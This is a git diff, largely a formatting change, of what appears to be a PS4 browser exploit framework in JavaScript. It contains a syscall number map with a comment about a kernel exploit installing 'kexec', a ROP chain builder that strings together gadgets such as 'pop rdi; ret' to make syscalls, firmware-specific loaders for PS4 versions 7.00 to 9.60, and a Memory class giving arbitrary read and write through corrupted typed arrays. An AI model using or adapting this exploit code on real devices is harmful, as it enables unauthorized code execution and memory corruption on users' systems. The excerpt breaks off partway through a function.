'blockpool_batch' : 657, +export const syscall_map = new Map( + Object.entries({ + read: 3, + write: 4, + open: 5, + close: 6, + getpid: 20, + setuid: 23, + getuid: 24, + accept: 30, + pipe: 42, + ioctl: 54, + munmap: 73, + mprotect: 74, + fcntl: 92, + socket: 97, + connect: 98, + bind: 104, + setsockopt: 105, + listen: 106, + getsockopt: 118, + fchmod: 124, + socketpair: 135, + fstat: 189, + getdirentries: 196, + __sysctl: 202, + mlock: 203, + clock_gettime: 232, + nanosleep: 240, + sched_yield: 331, + kqueue: 362, + kevent: 363, + rtprio_thread: 466, + mmap: 477, + ftruncate: 480, + shm_open: 482, + cpuset_getaffinity: 487, + cpuset_setaffinity: 488, + jitshm_create: 533, + jitshm_alias: 534, + evf_create: 538, + evf_delete: 539, + evf_set: 544, + evf_clear: 545, + set_vm_container: 559, + dmem_container: 586, + dynlib_dlsym: 591, + dynlib_get_list: 592, + dynlib_get_info: 593, + dynlib_load_prx: 594, + randomized_path: 602, + budget_get_ptype: 610, + thr_suspend_ucontext: 632, + thr_resume_ucontext: 633, + blockpool_open: 653, + blockpool_map: 654, + blockpool_unmap: 655, + blockpool_batch: 657, // syscall 661 is unimplemented so free for use. a kernel exploit will // install "kexec" here - 'aio_submit' : 661, - 'kexec' : 661, - 'aio_multi_delete' : 662, - 'aio_multi_wait' : 663, - 'aio_multi_poll' : 664, - 'aio_multi_cancel' : 666, - 'aio_submit_cmd' : 669, - 'blockpool_move' : 673, -})); + aio_submit: 661, + kexec: 661, + aio_multi_delete: 662, + aio_multi_wait: 663, + aio_multi_poll: 664, + aio_multi_cancel: 666, + aio_submit_cmd: 669, + blockpool_move: 673, + }), +); -const argument_pops = [ - 'pop rdi; ret', - 'pop rsi; ret', - 'pop rdx; ret', - 'pop rcx; ret', - 'pop r8; ret', - 'pop r9; ret', -]; +const argument_pops = ["pop rdi; ret", "pop rsi; ret", "pop rdx; ret", "pop rcx; ret", "pop r8; ret", "pop r9; ret"]; // implementations are expected to have these gadgets: // * libSceLibcInternal: @@ -176,400 +171,402 @@ const argument_pops = [ // stack_size: the size of the stack // upper_pad: the amount of extra space above stack export class ChainBase { - constructor(stack_size=0x1000, upper_pad=0x10000) { - this._is_dirty = false; - this.position = 0; + constructor(stack_size = 0x1000, upper_pad = 0x10000) { + this._is_dirty = false; + this.position = 0; - const return_value = new Uint32Array(4); - this._return_value = return_value; - this.retval_addr = get_view_vector(return_value); + const return_value = new Uint32Array(4); + this._return_value = return_value; + this.retval_addr = get_view_vector(return_value); - const errno = new Uint32Array(1); - this._errno = errno; - this.errno_addr = get_view_vector(errno); + const errno = new Uint32Array(1); + this._errno = errno; + this.errno_addr = get_view_vector(errno); - const full_stack_size = upper_pad + stack_size; - const stack_buffer = new ArrayBuffer(full_stack_size); - const stack = new DataView(stack_buffer, upper_pad); - this.stack = stack; - this.stack_addr = get_view_vector(stack); - this.stack_size = stack_size; - this.full_stack_size = full_stack_size; + const full_stack_size = upper_pad + stack_size; + const stack_buffer = new ArrayBuffer(full_stack_size); + const stack = new DataView(stack_buffer, upper_pad); + this.stack = stack; + this.stack_addr = get_view_vector(stack); + this.stack_size = stack_size; + this.full_stack_size = full_stack_size; + } + + // use this if you want to write a new ROP chain but don't want to allocate + // a new instance + empty() { + this.position = 0; + } + + // flag indicating whether .run() was ever called with this chain + get is_dirty() { + return this._is_dirty; + } + + clean() { + this._is_dirty = false; + } + + dirty() { + this._is_dirty = true; + } + + check_allow_run() { + if (this.position === 0) { + throw Error("chain is empty"); + } + if (this.is_dirty) { + throw Error("chain already ran, clean it first"); + } + } + + reset() { + this.empty(); + this.clean(); + } + + get retval_int() { + return this._return_value[0] | 0; + } + + get retval() { + return new Int(this._return_value[0], this._return_value[1]); + } + + // return value as a pointer + get retval_ptr() { + return new Addr(this._return_value[0], this._return_value[1]); + } + + set retval(value) { + const values = lohi_from_one(value); + const retval = this._return_value; + retval[0] = values[0]; + retval[1] = values[1]; + } + + get retval_all() { + const retval = this._return_value; + return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])]; + } + + set retval_all(values) { + const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])]; + const retval = this._return_value; + retval[0] = a[0]; + retval[1] = a[1]; + retval[2] = b[0]; + retval[3] = b[1]; + } + + get errno() { + return this._errno[0]; + } + + set errno(value) { + this._errno[0] = value; + } + + push_value(value) { + const position = this.position; + if (position >= this.stack_size) { + throw Error(`no more space on the stack, pushed value: ${value}`); } - // use this if you want to write a new ROP chain but don't want to allocate - // a new instance - empty() { - this.position = 0; - } + const values = lohi_from_one(value); + const stack = this.stack; + stack.setUint32(position, values[0], true); + stack.setUint32(position + 4, values[1], true); - // flag indicating whether .run() was ever called with this chain - get is_dirty() { - return this._is_dirty; - } + this.position += 8; + } - clean() { - this._is_dirty = false; - } - - dirty() { - this._is_dirty = true; - } - - check_allow_run() { - if (this.position === 0) { - throw Error('chain is empty'); - } - if (this.is_dirty) { - throw Error('chain already ran, clean it first'); - } - } - - reset() { - this.empty(); - this.clean(); - } - - get retval_int() { - return this._return_value[0] | 0; - } - - get retval() { - return new Int(this._return_value[0], this._return_value[1]); - } - - // return value as a pointer - get retval_ptr() { - return new Addr(this._return_value[0], this._return_value[1]); - } - - set retval(value) { - const values = lohi_from_one(value); - const retval = this._return_value; - retval[0] = values[0]; - retval[1] = values[1]; - } - - get retval_all() { - const retval = this._return_value; - return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])]; - } - - set retval_all(values) { - const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])]; - const retval = this._return_value; - retval[0] = a[0]; - retval[1] = a[1]; - retval[2] = b[0]; - retval[3] = b[1]; - } - - get errno() { - return this._errno[0]; - } - - set errno(value) { - this._errno[0] = value; - } - - push_value(value) { - const position = this.position; - if (position >= this.stack_size) { - throw Error(`no more space on the stack, pushed value: ${value}`); - } - - const values = lohi_from_one(value); - const stack = this.stack; - stack.setUint32(position, values[0], true); - stack.setUint32(position + 4, values[1], true); - - this.position += 8; - } - - get_gadget(insn_str) { - const addr = this.gadgets.get(insn_str); - if (addr === undefined) { - throw Error(`gadget not found: ${insn_str}`); - } - - return addr; - } - - push_gadget(insn_str) { - this.push_value(this.get_gadget(insn_str)); - } - - push_call(func_addr, ...args) { - if (args.length > 6) { - throw TypeError( - 'push_call() does not support functions that have more than 6' - + ' arguments'); - } - - for (let i = 0; i < args.length; i++) { - this.push_gadget(argument_pops[i]); - this.push_value(args[i]); - } - - // The address of our buffer seems to be always aligned to 8 bytes. - // SysV calling convention requires the stack is aligned to 16 bytes on - // function entry, so push an additional 8 bytes to pad the stack. We - // pushed a "ret" gadget for a noop. - if ((this.position & (0x10 - 1)) !== 0) { - this.push_gadget('ret'); - } - - if (typeof func_addr === 'string') { - this.push_gadget(func_addr); - } else { - this.push_value(func_addr); - } - } - - push_syscall(syscall_name, ...args) { - if (typeof syscall_name !== 'string') { - throw TypeError(`syscall_name not a string: ${syscall_name}`); - } - - const sysno = syscall_map.get(syscall_name); - if (sysno === undefined) { - throw Error(`syscall_name not found: ${syscall_name}`); - } - - const syscall_addr = this.syscall_array[sysno]; - if (syscall_addr === undefined) { - throw Error(`syscall number not in syscall_array: ${sysno}`); - } - - this.push_call(syscall_addr, ...args); - } - - // Sets needed class properties - // - // Args: - // gadgets: - // A Map-like object mapping instruction strings (e.g. "pop rax; ret") - // to their addresses in memory. - // syscall_array: - // An array whose indices correspond to syscall numbers. Maps syscall - // numbers to their addresses in memory. Defaults to an empty Array. - static init_class(gadgets, syscall_array=[]) { - this.prototype.gadgets = gadgets; - this.prototype.syscall_array = syscall_array; - } - - // START: implementation-dependent parts - // - // the user doesn't need to implement all of these. just the ones they need - - // Firmware specific method to launch a ROP chain - // - // Proper implementations will check if .position is nonzero before - // running. Implementations can optionally check .is_dirty to enforce - // single-run gadget sequences - run() { - throw Error('not implemented'); - } - - // anything you need to do before the ROP chain jumps back to JavaScript - push_end() { - throw Error('not implemented'); - } - - push_get_errno() { - throw Error('not implemented'); - } - - push_clear_errno() { - throw Error('not implemented'); - } - - // get the rax register - push_get_retval() { - throw Error('not implemented'); - } - - // get the rax and rdx registers - push_get_retval_all() { - throw Error('not implemented'); - } - - // END: implementation-dependent parts - - // note that later firmwares (starting around > 5.00?), the browser doesn't - // have a JIT compiler. we programmed in a way that tries to make the - // resulting bytecode be optimal - // - // we intentionally have an incomplete set (there's no function to get a - // full 128-bit result). we only implemented what we think are the common - // cases. the user will have to implement those other functions if they - // need it - - do_call(...args) { - if (this.position) { - throw Error('chain not empty'); - } - try { - this.push_call(...args); - this.push_get_retval(); - this.push_get_errno(); - this.push_end(); - this.run(); - } finally { - this.reset(); - } - } - - call_void(...args) { - this.do_call(...args); - } - - call_int(...args) { - this.do_call(...args); - // x | 0 will always be a signed integer - return this._return_value[0] | 0; - } - - call(...args) { - this.do_call(...args); - const retval = this._return_value; - return new Int(retval[0], retval[1]); - } - - do_syscall(...args) { - if (this.position) { - throw Error('chain not empty'); - } - try { - this.push_syscall(...args); - this.push_get_retval(); - this.push_get_errno(); - this.push_end(); - this.run(); - } finally { - this.reset(); - } - } - - syscall_void(...args) { - this.do_syscall(...args); - } - - syscall_int(...args) { - this.do_syscall(...args); - // x | 0 will always be a signed integer - return this._return_value[0] | 0; - } - - syscall(...args) { - this.do_syscall(...args); - const retval = this._return_value; - return new Int(retval[0], retval[1]); - } - - syscall_ptr(...args) { - this.do_syscall(...args); - const retval = this._return_value; - return new Addr(retval[0], retval[1]); - } - - // syscall variants that throw an error on errno - - do_syscall_clear_errno(...args) { - if (this.position) { - throw Error('chain not empty'); - } - try { - this.push_clear_errno(); - this.push_syscall(...args); - this.push_get_retval(); - this.push_get_errno(); - this.push_end(); - this.run(); - } finally { - this.reset(); - } - } - - sysi(...args) { - const errno = this._errno; - this.do_syscall_clear_errno(...args); - - const err = errno[0]; - if (err !== 0) { - throw Error(`syscall(${args[0]}) errno: ${err}`); - } - - // x | 0 will always be a signed integer - return this._return_value[0] | 0; - } - - sys(...args) { - const errno = this._errno; - this.do_syscall_clear_errno(...args); - - const err = errno[0]; - if (err !== 0) { - throw Error(`syscall(${args[0]}) errno: ${err}`); - } - - const retval = this._return_value; - return new Int(retval[0], retval[1]); - } - - sysp(...args) { - const errno = this._errno; - this.do_syscall_clear_errno(...args); - - const err = errno[0]; - if (err !== 0) { - throw Error(`syscall(${args[0]}) errno: ${err}`); - } - - const retval = this._return_value; - return new Addr(retval[0], retval[1]); - } -} - -export function get_gadget(map, insn_str) { - const addr = map.get(insn_str); + get_gadget(insn_str) { + const addr = this.gadgets.get(insn_str); if (addr === undefined) { - throw Error(`gadget not found: ${insn_str}`); + throw Error(`gadget not found: ${insn_str}`); } return addr; + } + + push_gadget(insn_str) { + this.push_value(this.get_gadget(insn_str)); + } + + push_call(func_addr, ...args) { + if (args.length > 6) { + throw TypeError("push_call() does not support functions that have more than 6 arguments"); + } + + for (let i = 0; i < args.length; i++) { + this.push_gadget(argument_pops[i]); + this.push_value(args[i]); + } + + // The address of our buffer seems to be always aligned to 8 bytes. + // SysV calling convention requires the stack is aligned to 16 bytes on + // function entry, so push an additional 8 bytes to pad the stack. We + // pushed a "ret" gadget for a noop. + if ((this.position & (0x10 - 1)) !== 0) { + this.push_gadget("ret"); + } + + if (typeof func_addr === "string") { + this.push_gadget(func_addr); + } else { + this.push_value(func_addr); + } + } + + push_syscall(syscall_name, ...args) { + if (typeof syscall_name !== "string") { + throw TypeError(`syscall_name not a string: ${syscall_name}`); + } + + const sysno = syscall_map.get(syscall_name); + if (sysno === undefined) { + throw Error(`syscall_name not found: ${syscall_name}`); + } + + const syscall_addr = this.syscall_array[sysno]; + if (syscall_addr === undefined) { + throw Error(`syscall number not in syscall_array: ${sysno}`); + } + + this.push_call(syscall_addr, ...args); + } + + // Sets needed class properties + // + // Args: + // gadgets: + // A Map-like object mapping instruction strings (e.g. "pop rax; ret") + // to their addresses in memory. + // syscall_array: + // An array whose indices correspond to syscall numbers. Maps syscall + // numbers to their addresses in memory. Defaults to an empty Array. + static init_class(gadgets, syscall_array = []) { + this.prototype.gadgets = gadgets; + this.prototype.syscall_array = syscall_array; + } + + // START: implementation-dependent parts + // + // the user doesn't need to implement all of these. just the ones they need + + // Firmware specific method to launch a ROP chain + // + // Proper implementations will check if .position is nonzero before + // running. Implementations can optionally check .is_dirty to enforce + // single-run gadget sequences + run() { + throw Error("not implemented"); + } + + // anything you need to do before the ROP chain jumps back to JavaScript + push_end() { + throw Error("not implemented"); + } + + push_get_errno() { + throw Error("not implemented"); + } + + push_clear_errno() { + throw Error("not implemented"); + } + + // get the rax register + push_get_retval() { + throw Error("not implemented"); + } + + // get the rax and rdx registers + push_get_retval_all() { + throw Error("not implemented"); + } + + // END: implementation-dependent parts + + // note that later firmwares (starting around > 5.00?), the browser doesn't + // have a JIT compiler. we programmed in a way that tries to make the + // resulting bytecode be optimal + // + // we intentionally have an incomplete set (there's no function to get a + // full 128-bit result). we only implemented what we think are the common + // cases. the user will have to implement those other functions if they + // need it + + do_call(...args) { + if (this.position) { + throw Error("chain not empty"); + } + try { + this.push_call(...args); + this.push_get_retval(); + this.push_get_errno(); + this.push_end(); + this.run(); + } finally { + this.reset(); + } + } + + call_void(...args) { + this.do_call(...args); + } + + call_int(...args) { + this.do_call(...args); + // x | 0 will always be a signed integer + return this._return_value[0] | 0; + } + + call(...args) { + this.do_call(...args); + const retval = this._return_value; + return new Int(retval[0], retval[1]); + } + + do_syscall(...args) { + if (this.position) { + throw Error("chain not empty"); + } + try { + this.push_syscall(...args); + this.push_get_retval(); + this.push_get_errno(); + this.push_end(); + this.run(); + } finally { + this.reset(); + } + } + + syscall_void(...args) { + this.do_syscall(...args); + } + + syscall_int(...args) { + this.do_syscall(...args); + // x | 0 will always be a signed integer + return this._return_value[0] | 0; + } + + syscall(...args) { + this.do_syscall(...args); + const retval = this._return_value; + return new Int(retval[0], retval[1]); + } + + syscall_ptr(...args) { + this.do_syscall(...args); + const retval = this._return_value; + return new Addr(retval[0], retval[1]); + } + + // syscall variants that throw an error on errno + + do_syscall_clear_errno(...args) { + if (this.position) { + throw Error("chain not empty"); + } + try { + this.push_clear_errno(); + this.push_syscall(...args); + this.push_get_retval(); + this.push_get_errno(); + this.push_end(); + this.run(); + } finally { + this.reset(); + } + } + + sysi(...args) { + const errno = this._errno; + this.do_syscall_clear_errno(...args); + + const err = errno[0]; + if (err !== 0) { + throw Error(`syscall(${args[0]}) errno: ${err}`); + } + + // x | 0 will always be a signed integer + return this._return_value[0] | 0; + } + + sys(...args) { + const errno = this._errno; + this.do_syscall_clear_errno(...args); + + const err = errno[0]; + if (err !== 0) { + throw Error(`syscall(${args[0]}) errno: ${err}`); + } + + const retval = this._return_value; + return new Int(retval[0], retval[1]); + } + + sysp(...args) { + const errno = this._errno; + this.do_syscall_clear_errno(...args); + + const err = errno[0]; + if (err !== 0) { + throw Error(`syscall(${args[0]}) errno: ${err}`); + } + + const retval = this._return_value; + return new Addr(retval[0], retval[1]); + } +} + +export function get_gadget(map, insn_str) { + const addr = map.get(insn_str); + if (addr === undefined) { + throw Error(`gadget not found: ${insn_str}`); + } + + return addr; } function load_fw_specific(version) { - if (version & 0x10000) { - throw RangeError('PS5 not supported yet'); - } + if (version & 0x10000) { + throw RangeError("PS5 not supported yet"); + } - const value = version & 0xffff; - // we don't want to bother with very old firmwares that don't support - // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types - // which can be annoying to deal with - if (value < 0x700) { - throw RangeError('PS4 firmwares < 7.00 isn\'t supported'); - } + const value = version & 0xffff; + // we don't want to bother with very old firmwares that don't support + // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types + // which can be annoying to deal with + if (value < 0x700) { + throw RangeError("PS4 firmwares < 7.00 isn't supported"); + } - if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03 - return import('../rop/ps4/800.mjs'); - } + if (0x800 <= value && value < 0x850) { + // 8.00, 8.01, 8.03 + return import("../rop/ps4/800.mjs"); + } - if (0x850 <= value && value < 0x900) { // 8.50, 8.52 - return import('../rop/ps4/850.mjs'); - } + if (0x850 <= value && value < 0x900) { + // 8.50, 8.52 + return import("../rop/ps4/850.mjs"); + } - if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04 - return import('../rop/ps4/900.mjs'); - } + if (0x900 <= value && value < 0x950) { + // 9.00, 9.03, 9.04 + return import("../rop/ps4/900.mjs"); + } - if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60 - return import('../rop/ps4/950.mjs'); - } + if (0x950 <= value && value < 0x1000) { + // 9.50, 9.51, 9.60 + return import("../rop/ps4/950.mjs"); + } - throw RangeError('Firmware not supported'); + throw RangeError("Firmware not supported"); } export let gadgets = null; @@ -580,14 +577,8 @@ export let init_gadget_map = null; export let Chain = null; export async function init() { - const module = await load_fw_specific(config.target); - Chain = module.Chain; - module.init(Chain); - ({ - gadgets, - libwebkit_base, - libkernel_base, - libc_base, - init_gadget_map, - } = module); + const module = await load_fw_specific(config.target); + Chain = module.Chain; + module.init(Chain); + ({ gadgets, libwebkit_base, libkernel_base, libc_base, init_gadget_map } = module); } diff --git a/src/module/int64.mjs b/src/module/int64.mjs index 248872e..c35f893 100644 --- a/src/module/int64.mjs +++ b/src/module/int64.mjs @@ -19,115 +19,103 @@ along with this program. If not, see . */ const isInteger = Number.isInteger; function check_not_in_range(x) { - return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff); + return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff); } // use this if you want to support objects convertible to Int but only need // their low/high bits. creating a Int is slower compared to just using this // function export function lohi_from_one(low) { - if (low instanceof Int) { - return low._u32.slice(); - } + if (low instanceof Int) { + return low._u32.slice(); + } - if (check_not_in_range(low)) { - throw TypeError(`low not a 32-bit integer: ${low}`); - } + if (check_not_in_range(low)) { + throw TypeError(`low not a 32-bit integer: ${low}`); + } - return [low >>> 0, low < 0 ? -1 >>> 0 : 0]; + return [low >>> 0, low < 0 ? -1 >>> 0 : 0]; } // immutable 64-bit integer export class Int { - constructor(low, high) { - if (high === undefined) { - this._u32 = new Uint32Array(lohi_from_one(low)); - return; - } - - if (check_not_in_range(low)) { - throw TypeError(`low not a 32-bit integer: ${low}`); - } - - if (check_not_in_range(high)) { - throw TypeError(`high not a 32-bit integer: ${high}`); - } - - this._u32 = new Uint32Array([low, high]); + constructor(low, high) { + if (high === undefined) { + this._u32 = new Uint32Array(lohi_from_one(low)); + return; } - get lo() { - return this._u32[0]; + if (check_not_in_range(low)) { + throw TypeError(`low not a 32-bit integer: ${low}`); } - get hi() { - return this._u32[1]; + if (check_not_in_range(high)) { + throw TypeError(`high not a 32-bit integer: ${high}`); } - // return low/high as signed integers + this._u32 = new Uint32Array([low, high]); + } - get bot() { - return this._u32[0] | 0; + get lo() { + return this._u32[0]; + } + + get hi() { + return this._u32[1]; + } + + // return low/high as signed integers + + get bot() { + return this._u32[0] | 0; + } + + get top() { + return this._u32[1] | 0; + } + + neg() { + const u32 = this._u32; + const low = (~u32[0] >>> 0) + 1; + return new this.constructor(low >>> 0, ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0); + } + + eq(b) { + const values = lohi_from_one(b); + const u32 = this._u32; + return u32[0] === values[0] && u32[1] === values[1]; + } + + ne(b) { + return !this.eq(b); + } + + add(b) { + const values = lohi_from_one(b); + const u32 = this._u32; + const low = u32[0] + values[0]; + return new this.constructor(low >>> 0, (u32[1] + values[1] + (low > 0xffffffff)) >>> 0); + } + + sub(b) { + const values = lohi_from_one(b); + const u32 = this._u32; + const low = u32[0] + (~values[0] >>> 0) + 1; + return new this.constructor(low >>> 0, (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0); + } + + toString(is_pretty = false) { + if (!is_pretty) { + const low = this.lo.toString(16).padStart(8, "0"); + const high = this.hi.toString(16).padStart(8, "0"); + return `0x${high}${low}`; } + let high = this.hi.toString(16).padStart(8, "0"); + high = `${high.substring(0, 4)}_${high.substring(4)}`; - get top() { - return this._u32[1] | 0; - } + let low = this.lo.toString(16).padStart(8, "0"); + low = `${low.substring(0, 4)}_${low.substring(4)}`; - neg() { - const u32 = this._u32; - const low = (~u32[0] >>> 0) + 1; - return new this.constructor( - low >>> 0, - ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0, - ); - } - - eq(b) { - const values = lohi_from_one(b); - const u32 = this._u32; - return ( - u32[0] === values[0] - && u32[1] === values[1] - ); - } - - ne(b) { - return !this.eq(b); - } - - add(b) { - const values = lohi_from_one(b); - const u32 = this._u32; - const low = u32[0] + values[0]; - return new this.constructor( - low >>> 0, - (u32[1] + values[1] + (low > 0xffffffff)) >>> 0, - ); - } - - sub(b) { - const values = lohi_from_one(b); - const u32 = this._u32; - const low = u32[0] + (~values[0] >>> 0) + 1; - return new this.constructor( - low >>> 0, - (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0, - ); - } - - toString(is_pretty=false) { - if (!is_pretty) { - const low = this.lo.toString(16).padStart(8, '0'); - const high = this.hi.toString(16).padStart(8, '0'); - return '0x' + high + low; - } - let high = this.hi.toString(16).padStart(8, '0'); - high = high.substring(0, 4) + '_' + high.substring(4); - - let low = this.lo.toString(16).padStart(8, '0'); - low = low.substring(0, 4) + '_' + low.substring(4); - - return '0x' + high + '_' + low; - } + return `0x${high}_${low}`; + } } diff --git a/src/module/mem.mjs b/src/module/mem.mjs index 2620230..6bf4bb4 100644 --- a/src/module/mem.mjs +++ b/src/module/mem.mjs @@ -15,8 +15,8 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -import { Int, lohi_from_one } from './int64.mjs'; -import { view_m_vector, view_m_length } from './offset.mjs'; +import { Int, lohi_from_one } from "./int64.mjs"; +import { view_m_vector, view_m_length } from "./offset.mjs"; export let mem = null; @@ -26,128 +26,128 @@ const off_vector2 = (view_m_vector + 4) / 4; const isInteger = Number.isInteger; function init_module(memory) { - mem = memory; + mem = memory; } function add_and_set_addr(mem, offset, base_lo, base_hi) { - const values = lohi_from_one(offset); - const main = mem._main; + const values = lohi_from_one(offset); + const main = mem._main; - const low = base_lo + values[0]; + const low = base_lo + values[0]; - // no need to use ">>> 0" to convert to unsigned here - main[off_vector] = low; - main[off_vector2] = base_hi + values[1] + (low > 0xffffffff); + // no need to use ">>> 0" to convert to unsigned here + main[off_vector] = low; + main[off_vector2] = base_hi + values[1] + (low > 0xffffffff); } export class Addr extends Int { - read8(offset) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } - - return m.read8_at(offset); + read8(offset) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - read16(offset) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + return m.read8_at(offset); + } - return m.read16_at(offset); + read16(offset) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - read32(offset) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + return m.read16_at(offset); + } - return m.read32_at(offset); + read32(offset) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - read64(offset) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + return m.read32_at(offset); + } - return m.read64_at(offset); + read64(offset) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - readp(offset) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + return m.read64_at(offset); + } - return m.readp_at(offset); + readp(offset) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - write8(offset, value) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + return m.readp_at(offset); + } - m.write8_at(offset, value); + write8(offset, value) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - write16(offset, value) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + m.write8_at(offset, value); + } - m.write16_at(offset, value); + write16(offset, value) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - write32(offset, value) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + m.write16_at(offset, value); + } - m.write32_at(offset, value); + write32(offset, value) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } - write64(offset, value) { - const m = mem; - if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { - m._set_addr_direct(this); - } else { - add_and_set_addr(m, offset, this.lo, this.hi); - offset = 0; - } + m.write32_at(offset, value); + } - m.write64_at(offset, value); + write64(offset, value) { + const m = mem; + if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { + m._set_addr_direct(this); + } else { + add_and_set_addr(m, offset, this.lo, this.hi); + offset = 0; } + + m.write64_at(offset, value); + } } // expected: @@ -167,264 +167,253 @@ export class Addr extends Int { // the relative read/write methods expect the offset to be a unsigned 32-bit // integer export class Memory { - constructor(main, worker, obj, addr_addr, fake_addr) { - this._main = main; - this._worker = worker; - this._obj = obj; - this._addr_low = addr_addr.lo; - this._addr_high = addr_addr.hi; - this._fake_low = fake_addr.lo; - this._fake_high = fake_addr.hi; + constructor(main, worker, obj, addr_addr, fake_addr) { + this._main = main; + this._worker = worker; + this._obj = obj; + this._addr_low = addr_addr.lo; + this._addr_high = addr_addr.hi; + this._fake_low = fake_addr.lo; + this._fake_high = fake_addr.hi; - main[view_m_length / 4] = 0xffffffff; + main[view_m_length / 4] = 0xffffffff; - init_module(this); + init_module(this); - const off_mvec = view_m_vector; - // use this to create WastefulTypedArrays to avoid a GC crash - const buf = new ArrayBuffer(0); + const off_mvec = view_m_vector; + // use this to create WastefulTypedArrays to avoid a GC crash + const buf = new ArrayBuffer(0); - const src = new Uint8Array(buf); - const sset = new Uint32Array(buf); - const sset_p = this.addrof(sset); - sset_p.write64(off_mvec, this.addrof(src).add(off_mvec)); - sset_p.write32(view_m_length, 3); - this._cpysrc = src; - this._src_setter = sset; + const src = new Uint8Array(buf); + const sset = new Uint32Array(buf); + const sset_p = this.addrof(sset); + sset_p.write64(off_mvec, this.addrof(src).add(off_mvec)); + sset_p.write32(view_m_length, 3); + this._cpysrc = src; + this._src_setter = sset; - const dst = new Uint8Array(buf); - const dset = new Uint32Array(buf); - const dset_p = this.addrof(dset); - dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec)); - dset_p.write32(view_m_length, 3); - dset[2] = 0xffffffff; - this._cpydst = dst; - this._dst_setter = dset; + const dst = new Uint8Array(buf); + const dset = new Uint32Array(buf); + const dset_p = this.addrof(dset); + dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec)); + dset_p.write32(view_m_length, 3); + dset[2] = 0xffffffff; + this._cpydst = dst; + this._dst_setter = dset; + } + + // dst and src may overlap + cpy(dst, src, len) { + if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) { + throw TypeError("len not a unsigned 32-bit integer"); } - // dst and src may overlap - cpy(dst, src, len) { - if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) { - throw TypeError('len not a unsigned 32-bit integer'); - } + const dvals = lohi_from_one(dst); + const svals = lohi_from_one(src); + const dset = this._dst_setter; + const sset = this._src_setter; - const dvals = lohi_from_one(dst); - const svals = lohi_from_one(src); - const dset = this._dst_setter; - const sset = this._src_setter; + dset[0] = dvals[0]; + dset[1] = dvals[1]; + sset[0] = svals[0]; + sset[1] = svals[1]; + sset[2] = len; - dset[0] = dvals[0]; - dset[1] = dvals[1]; - sset[0] = svals[0]; - sset[1] = svals[1]; - sset[2] = len; + this._cpydst.set(this._cpysrc); + } - this._cpydst.set(this._cpysrc); + // allocate Garbage Collector managed memory. returns [address_of_memory, + // backer]. backer is the JSCell that is keeping the returned memory alive, + // you can drop it once you have another GC object reference the address. + // the backer is an implementation detail. don't use it to mutate the + // memory + gc_alloc(size) { + if (!isInteger(size)) { + throw TypeError("size not a integer"); + 